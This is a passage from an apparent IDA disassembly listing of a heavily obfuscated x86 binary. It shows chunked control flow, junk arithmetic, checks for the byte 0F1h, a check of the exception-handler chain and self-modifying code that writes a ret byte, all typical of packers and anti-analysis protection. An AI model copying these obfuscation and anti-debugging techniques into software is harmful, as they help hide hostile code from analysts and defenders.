; END OF FUNCTION CHUNK	FOR sub_445317
; ---------------------------------------------------------------------------
		cmp	ebx, 7C683B19h
		jmp	loc_439B7C

; =============== S U B	R O U T	I N E =======================================



sub_43DC9A	proc near		; CODE XREF: kgbikm34:loc_43B9EDp
					; kgbikm34:0043CD81j

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043C04A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C4B8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043E1B5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043F7BA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044183C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00441A2B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044274B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00443C2E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004454A6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00447515 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00448E83 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A6DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B5BE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044BDF2 SIZE 00000012 BYTES

		xchg	esi, [esp+0]
		pop	esi
		jo	loc_43F7BA
		mov	eax, [ebp-4]
		jmp	loc_43E1B5
sub_43DC9A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43DCAC	proc near		; CODE XREF: sub_43AECB+88E4p
					; kgbikm34:00444CA9j

; FUNCTION CHUNK AT 00437755 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	ebx, 0FD01F89Bh
		popf
		jmp	loc_437755
sub_43DCAC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44087D

loc_43DCBC:				; CODE XREF: sub_44087D-2FA2j
					; sub_44087D:loc_4449B7j
		mov	eax, [ebp-4]
		call	nullsub_359
		retn
; END OF FUNCTION CHUNK	FOR sub_44087D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_359. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44087D

loc_43DCC6:				; CODE XREF: sub_44087D+Bj
		mov	eax, [ebp-4]
		call	sub_44276B
; END OF FUNCTION CHUNK	FOR sub_44087D
; START	OF FUNCTION CHUNK FOR sub_44D846

loc_43DCCE:				; CODE XREF: sub_44D846+15j
		jmp	loc_44B274
; END OF FUNCTION CHUNK	FOR sub_44D846
; ---------------------------------------------------------------------------

loc_43DCD3:				; CODE XREF: kgbikm34:00445B41j
		jmp	sub_44AD65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43DCD8:				; CODE XREF: sub_4474D5-3273j
		jmp	loc_441549
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------

loc_43DCDD:				; CODE XREF: kgbikm34:0044CEA5j
		or	edi, ebx
; START	OF FUNCTION CHUNK FOR sub_43C1F4

loc_43DCDF:				; CODE XREF: sub_43C1F4:loc_44CE8Cj
		call	sub_440345

locret_43DCE4:				; CODE XREF: kgbikm34:0044356Fj
					; sub_442EA7:loc_44D192j
		retn
; END OF FUNCTION CHUNK	FOR sub_43C1F4
; ---------------------------------------------------------------------------

loc_43DCE5:				; DATA XREF: kgbikm34:loc_43B66Ao
		call	sub_44BA42
		mov	eax, 0EF9F7D01h
		call	sub_43BF6F
		push	esi
		push	1F40D5F1h
		adc	esi, 0A154563Dh
		jmp	loc_438386
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44964D

loc_43DD05:				; CODE XREF: sub_44964D-758Aj
		add	ecx, ebx
		add	ebx, ecx
		jno	loc_44029B
		jmp	loc_449F90
; END OF FUNCTION CHUNK	FOR sub_44964D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B47A

loc_43DD14:				; CODE XREF: sub_44B47A-A21Aj
		or	ecx, ebx

loc_43DD16:				; CODE XREF: sub_44B47A:loc_442CC5j
		mov	eax, offset dword_43BD9C
		mov	[ebp+var_4], eax
		mov	eax, offset dword_43BDEC
		push	esi
		jmp	loc_44A7EB
; END OF FUNCTION CHUNK	FOR sub_44B47A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_43DD29:				; CODE XREF: sub_439274+B132j
		test	ebx, edx
		jmp	loc_43AC29
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43DD30:				; CODE XREF: sub_4474D5-5122j
					; kgbikm34:loc_442D55j
		pop	edi
		mov	eax, [esp-10h+arg_C]
		push	edx
		call	sub_43ACD5
		mov	eax, 4CF1C9EDh
		push	ecx
		push	0D009B7FDh
		jmp	loc_4454B4
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_43DD4A:				; CODE XREF: sub_43C55C+66D6j
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
; END OF FUNCTION CHUNK	FOR sub_43C55C
; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_43DD50:				; CODE XREF: sub_43CFA5:loc_4461BBj
		mov	edx, [ebp+8]
		mov	[edx-18h], eax
		inc	dword ptr [ebp-4]
		jmp	loc_447AC4
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------

loc_43DD5E:				; CODE XREF: kgbikm34:00447DE4j
		jnp	loc_4486A5

; =============== S U B	R O U T	I N E =======================================



sub_43DD64	proc near		; CODE XREF: sub_446F79:loc_43ED71p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004413A4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004416EE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00443A48 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044546F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00445D4E SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00447BF3 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_443A4D
		jmp	loc_447BF3
sub_43DD64	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43DD7A:				; CODE XREF: kgbikm34:00444EEAj
		or	edx, 8574656h

; =============== S U B	R O U T	I N E =======================================



sub_43DD80	proc near		; CODE XREF: kgbikm34:004374B2p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00443757 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044BF66 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	edi, [esp-4+arg_0]
		mov	esi, edi
		pop	edi
		sub	esi, 0A03C51EEh
		jmp	loc_443757
sub_43DD80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_43DD95:				; CODE XREF: sub_43E34D+D96Bj
		jo	loc_43AB6D
		jmp	loc_4495A1
; END OF FUNCTION CHUNK	FOR sub_43E34D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445D55

loc_43DDA0:				; CODE XREF: sub_445D55-1170j
		push	offset loc_43E69E
		jmp	nullsub_77
; END OF FUNCTION CHUNK	FOR sub_445D55
; ---------------------------------------------------------------------------
		sub	eax, 9E1268F9h
		adc	ecx, edi
		jmp	sub_438C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_43DDB7:				; CODE XREF: sub_43AD9F+C6E5j
		jnb	loc_4448A7
		push	ebx
		jmp	loc_4388A8
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
		adc	esi, 0AB06CAA7h
		jmp	loc_440AD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4490AC

loc_43DDCE:				; CODE XREF: sub_4490AC:loc_43A05Cj
		call	sub_43E135
; END OF FUNCTION CHUNK	FOR sub_4490AC
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_43DDD3:				; CODE XREF: sub_438B6B+FB51j
		jmp	loc_447003
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA5A

loc_43DDD8:				; CODE XREF: sub_44AA5A:loc_44AA5Fj
		add	eax, ecx
		pop	ecx
		push	offset sub_445A0D
		jmp	loc_43E4D9
; END OF FUNCTION CHUNK	FOR sub_44AA5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43DDE5:				; CODE XREF: sub_439587+17E0j
		xchg	ecx, [esp+0]
		jmp	sub_43F3F8
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_44B2C1
; ---------------------------------------------------------------------------
		mov	ds:off_41E024, eax
		lea	eax, sub_44DE2F
		mov	byte ptr [eax],	0C3h
		jmp	sub_44DE2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE2F

loc_43DE07:				; CODE XREF: sub_44DE2F+1j
		push	offset sub_43E085
		jmp	loc_441270
; END OF FUNCTION CHUNK	FOR sub_44DE2F

; =============== S U B	R O U T	I N E =======================================



sub_43DE11	proc near		; CODE XREF: sub_446F79:loc_4426DFp
					; kgbikm34:0044B8F1j

; FUNCTION CHUNK AT 0043BD6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044200D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004426C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442EFB SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	eax
		lea	eax, dword_43B2C4
		push	eax
		jmp	loc_4426C1
sub_43DE11	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43DE22:				; CODE XREF: kgbikm34:004394AEj
		add	eax, eax
		jmp	loc_43C7AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43DE29:				; CODE XREF: sub_43D494-30DAj
		adc	edx, [esp+arg_0]
		add	esp, 8
		mov	eax, [eax]
		push	ebx
		push	2B5888D8h
		pop	ebx
		xor	ebx, 29BB9413h
		jmp	loc_44B077
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_43DE44:				; DATA XREF: sub_43B469+3o
		push	esi
		mov	esi, ecx
		xchg	esi, [esp]
		push	esi
		push	59D90487h
		pop	esi
		jmp	loc_444DBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_43DE56:				; CODE XREF: sub_4471A4:loc_438973j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44823A
		jmp	loc_43E267
; END OF FUNCTION CHUNK	FOR sub_4471A4
; ---------------------------------------------------------------------------

loc_43DE64:				; CODE XREF: kgbikm34:loc_439310j
		add	eax, 18h
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		mov	eax, [eax+60h]
		jmp	loc_43E1C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440FF4

loc_43DE75:				; CODE XREF: sub_440FF4:loc_44DC42j
		push	offset sub_443622
		jmp	loc_446C3C
; END OF FUNCTION CHUNK	FOR sub_440FF4
; ---------------------------------------------------------------------------
		jmp	ds:off_41E0AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B26D

loc_43DE85:				; CODE XREF: sub_43B26D:loc_440220j
					; sub_44BEAD:loc_44254Cj ...
		push	offset loc_44415D
		jmp	loc_43E2B7
; END OF FUNCTION CHUNK	FOR sub_43B26D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_43DE8F:				; CODE XREF: sub_449F77-5A8Ej
		sub	eax, ebx

loc_43DE91:				; CODE XREF: sub_449F77:loc_4444E2j
		sub	eax, 88F3F64Eh
		and	eax, 0A9707B02h
		add	eax, 0B3CDAD1Eh
		call	sub_4400C7
		rol	eax, 1Dh
		push	eax
		jmp	loc_439342
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------

loc_43DEB1:				; CODE XREF: kgbikm34:loc_437AF7j
		jnz	loc_4484C8
		jmp	loc_44BA34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB3F

loc_43DEBC:				; CODE XREF: sub_43EB3F+12j
		mov	[edx], eax
		pop	edx
		popf
		push	5CEB7E7Ch
		pop	eax
		jmp	loc_43DEFC
; END OF FUNCTION CHUNK	FOR sub_43EB3F
; ---------------------------------------------------------------------------
		add	eax, ebx
		test	edx, 0D848654Eh
		jmp	loc_442765
; ---------------------------------------------------------------------------

loc_43DED8:				; DATA XREF: sub_44A6D1+21ADo
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_44CC85
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43DEE7	proc near		; CODE XREF: sub_4481F3+Ep

; FUNCTION CHUNK AT 0043E7FC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043E817 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00442E3B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044DBE7 SIZE 00000005 BYTES

		mov	eax, large fs:0

loc_43DEEE:				; CODE XREF: sub_43DEE7+91Aj
					; sub_43DEE7+4F59j
		jz	loc_43E817
		cmp	dword ptr [eax], 0FFFFFFFFh
		jmp	loc_43E7FC
sub_43DEE7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB3F

loc_43DEFC:				; CODE XREF: sub_43EB3F-C79j
		rol	eax, 0Fh
		xor	eax, 64F45982h
		add	eax, 3CCD2167h
		and	eax, 44645AF7h
		jmp	loc_44917E
; END OF FUNCTION CHUNK	FOR sub_43EB3F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_43DF17:				; CODE XREF: sub_43BCAD+ADD2j
		jmp	loc_4445AE
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------

loc_43DF1C:				; CODE XREF: kgbikm34:0044520Fj
		jmp	loc_44E080
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_43DF21:				; CODE XREF: sub_43DF5B+9EBFj
		jnz	loc_44B204
		jmp	loc_4495CF
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_43DF2C:				; CODE XREF: sub_444A5E:loc_43708Bj
		mov	eax, [eax-8]
		or	eax, 8
		or	eax, 10h
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_444B20
; END OF FUNCTION CHUNK	FOR sub_444A5E

; =============== S U B	R O U T	I N E =======================================



sub_43DF40	proc near		; CODE XREF: kgbikm34:00440CEFj
					; sub_4431B6+7E2Ep

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00445AF3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044BBF8 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	46E004D1h
		pop	edi
		jmp	loc_445AF3
sub_43DF40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43DF4F:				; CODE XREF: sub_43D494+26EFj
		js	loc_43E77B
		xor	edx, 0DE17ACDEh
; END OF FUNCTION CHUNK	FOR sub_43D494

; =============== S U B	R O U T	I N E =======================================



sub_43DF5B	proc near		; CODE XREF: sub_440E0B:loc_44D755p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438514 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438EED SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00439BBB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043ACEF SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0043AE56 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043B8D2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043CC5C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DF21 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E93A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043ECB4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00440534 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441E01 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442872 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004435C1 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004467AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447BBE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00447E01 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00448C4F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00449255 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004495CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449EE2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044A246 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B204 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044C1D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DDB5 SIZE 0000001F BYTES

		xchg	ecx, [esp+4+var_4]
		pop	ecx
		sub	al, 99h
		jmp	loc_43B8D7
sub_43DF5B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43DF66	proc near		; CODE XREF: kgbikm34:00446AAEj
					; sub_444326+3F84p

; FUNCTION CHUNK AT 00439F61 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		call	sub_43E4C0
		mov	[ebp-4], eax
		jmp	loc_439F61
sub_43DF66	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43DF77:				; DATA XREF: sub_439609+EF83o
		add	esi, 479EF38Dh
		xor	eax, esi
		pop	esi
		rol	eax, 4
		sub	eax, 4E0F9A6Fh
		jmp	loc_449C67
; ---------------------------------------------------------------------------

loc_43DF8E:				; CODE XREF: kgbikm34:0043FBA5j
		xor	edx, 0EFEF7DD2h
		test	eax, edi
		jmp	loc_44D5C9
; ---------------------------------------------------------------------------

loc_43DF9B:				; DATA XREF: kgbikm34:0044B1DEo
		popf
		xchg	eax, [esp]
		jmp	sub_43BF6F

; =============== S U B	R O U T	I N E =======================================



sub_43DFA4	proc near		; CODE XREF: kgbikm34:0043E38Dj
					; kgbikm34:00447654j ...

; FUNCTION CHUNK AT 0043A027 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A994 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043CB82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D833 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00445704 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445D75 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044BF9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D003 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-24h]
		cmp	byte ptr [eax],	0
		jnz	loc_43A994
		jmp	loc_44BF9F
sub_43DFA4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43DFB9	proc near		; CODE XREF: kgbikm34:00449372j
					; kgbikm34:0044BE5Fp
		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [eax-10h]
		shr	eax, 6
		mov	[ebp-10h], eax
		push	offset loc_43883B
		jmp	nullsub_374
sub_43DFB9	endp

; ---------------------------------------------------------------------------
		adc	eax, ebp
		jmp	loc_43AF2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_43DFD7:				; CODE XREF: sub_442B15:loc_43FE93j
		cmp	ecx, esi
		jmp	loc_43FAA9
; END OF FUNCTION CHUNK	FOR sub_442B15
; ---------------------------------------------------------------------------
		add	edx, ebp
		jmp	sub_4421A1

; =============== S U B	R O U T	I N E =======================================



sub_43DFE5	proc near		; CODE XREF: sub_43D21A:loc_44BECDj

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043BFAF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043C5D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FF45 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00441028 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445697 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00445787 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00445A57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447B6C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00448444 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448A15 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044910B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00449E81 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449EBC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BA25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BCF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CBFD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044CF52 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D17B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044D76E SIZE 0000000E BYTES

		push	ebx
		push	15A8B90Fh
		xchg	ecx, [esp+0]
		mov	ebx, ecx
		jmp	loc_445A57
sub_43DFE5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437613

loc_43DFF5:				; CODE XREF: sub_437613+8DB2j
		jg	loc_43AFDE
		and	ecx, 3A0A322Ch
		add	esi, edi

loc_43E003:				; CODE XREF: sub_437613:loc_4403B9j
		add	eax, 0E24760FEh
		push	eax
		pushf
		push	0F7769E3Ch
		pop	eax
		jmp	loc_4421EA
; END OF FUNCTION CHUNK	FOR sub_437613

; =============== S U B	R O U T	I N E =======================================



sub_43E016	proc near		; CODE XREF: sub_43B932:loc_43DABCp
					; kgbikm34:00443E17j
		xchg	eax, [esp+0]
		pop	eax
		ror	eax, 0Dh
		push	edi
		push	0D09A666Ah
		push	offset loc_43E8FD
		jmp	nullsub_30
sub_43E016	endp

; ---------------------------------------------------------------------------
		rol	esi, 15h
		shr	ebx, 1Eh
		jmp	sub_43E272
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44213E

loc_43E038:				; CODE XREF: sub_44213E:loc_43796Bj
		mov	esi, edx
		xchg	esi, [esp+0]
		push	7FDAAE81h
		pop	edx
		or	edx, 57F73277h
		sub	edx, 0FD06A8D6h
		and	edx, 17C71388h
		jmp	loc_445EDC
; END OF FUNCTION CHUNK	FOR sub_44213E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_43E05B:				; CODE XREF: sub_43F4C9+1Fj
		jmp	loc_44B181
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------

loc_43E060:				; CODE XREF: kgbikm34:0043E427j
		jmp	loc_44800A
; ---------------------------------------------------------------------------
		ror	ebx, 0Fh
		or	esi, edx
		jmp	sub_445CE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43E06F:				; CODE XREF: sub_439587+AF75j
		jnb	loc_4462C2
		jmp	loc_44D764
; ---------------------------------------------------------------------------

loc_43E07A:				; CODE XREF: sub_439587:loc_446027j
		jnz	loc_447140
		jmp	sub_43E5AF
; END OF FUNCTION CHUNK	FOR sub_439587

; =============== S U B	R O U T	I N E =======================================



sub_43E085	proc near		; DATA XREF: sub_44DE2F:loc_43DE07o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043D0A9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440192 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449A10 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044B750 SIZE 00000005 BYTES

		mov	eax, [esp+0]
		push	edx
		call	sub_44B5E4
		mov	eax, 0CAAB96A5h
		jmp	loc_440192
sub_43E085	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_43E098:				; CODE XREF: sub_439BDE+A8F4j
		xchg	edi, [esp+4+var_4]
		jmp	loc_4374E3
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_43E0A0:				; CODE XREF: sub_44114F:loc_437AA4j
		push	offset loc_4446BB
		jmp	loc_445FD0
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------

loc_43E0AA:				; CODE XREF: kgbikm34:004453B3j
		xchg	esi, [eax]
		xor	ebp, 0FC1401A8h
; START	OF FUNCTION CHUNK FOR sub_442401

loc_43E0B2:				; CODE XREF: sub_442401:loc_4453A0j
		add	edx, 0CE3AE7F2h
		rol	edx, 13h
		jmp	loc_43AF7D
; END OF FUNCTION CHUNK	FOR sub_442401
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C607

loc_43E0C0:				; CODE XREF: sub_44C607-104E1j
		add	esi, 3479CA19h
		rol	esi, 17h
		add	esi, 65785921h

loc_43E0CF:				; CODE XREF: kgbikm34:loc_43B434j
		add	esi, ebp
		jmp	loc_43A5C3
; END OF FUNCTION CHUNK	FOR sub_44C607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D4F5

loc_43E0D6:				; CODE XREF: sub_43D4F5+16j
		add	ebx, 584059F6h
		xchg	ebx, [esp+4+var_4]
		jmp	sub_4479B1
; END OF FUNCTION CHUNK	FOR sub_43D4F5
; ---------------------------------------------------------------------------
		jl	loc_44523E
		jmp	loc_439DD3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_321. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4A3

loc_43E0F1:				; CODE XREF: sub_43A4A3+10j
		jmp	loc_43D228
; END OF FUNCTION CHUNK	FOR sub_43A4A3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_322. PRESS KEYPAD	"+" TO EXPAND]
		db 31h
		dd 56000001h, 3B17DD68h, 65F68112h, 0E915C305h,	1427h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E1C

loc_43E10C:				; CODE XREF: kgbikm34:0043A7B2j
					; sub_441E1C:loc_4448FEj
		pushf
		push	76A78523h
		pop	ebx
		rol	ebx, 12h
		or	ebx, 74DC23B3h
		add	ebx, 93D27FF4h
		or	ebx, 36F2612Ah
		add	ebx, 0C15130CCh
		jmp	loc_43AC7E
; END OF FUNCTION CHUNK	FOR sub_441E1C
; ---------------------------------------------------------------------------

loc_43E133:				; CODE XREF: kgbikm34:0043E5D4j
		xchg	ecx, edi

; =============== S U B	R O U T	I N E =======================================



sub_43E135	proc near		; CODE XREF: sub_4490AC:loc_43DDCEp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C3CF SIZE 0000001A BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		push	eax
		push	0EA1DB9Fh
		pop	eax
		jmp	loc_43C3CF
sub_43E135	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447193

loc_43E146:				; CODE XREF: sub_447193-C64Bj
					; sub_43C9D6:loc_43C4E6j
		mov	eax, [ebp-4]
		call	sub_448E4B

loc_43E14E:				; CODE XREF: sub_4481F3+2990j
		jmp	loc_447A85
; END OF FUNCTION CHUNK	FOR sub_447193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_43E153:				; CODE XREF: sub_439609+25D7j
		jmp	loc_4433E9
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_43E158:				; CODE XREF: sub_439274+13j
		jmp	loc_441F43
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------

loc_43E15D:				; CODE XREF: kgbikm34:0043856Dj
		jmp	loc_44D11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B400

loc_43E162:				; CODE XREF: sub_43B400:loc_448A44j
		cmp	ds:dword_445F74, 0
		jnz	loc_43EA87
		call	sub_447F4D
		mov	edx, 0E5254649h
		jmp	loc_43E727
; END OF FUNCTION CHUNK	FOR sub_43B400
; ---------------------------------------------------------------------------

loc_43E17E:				; CODE XREF: kgbikm34:0043D98Cj
		jp	loc_44CE72
		mov	edi, ebp
; START	OF FUNCTION CHUNK FOR sub_444681

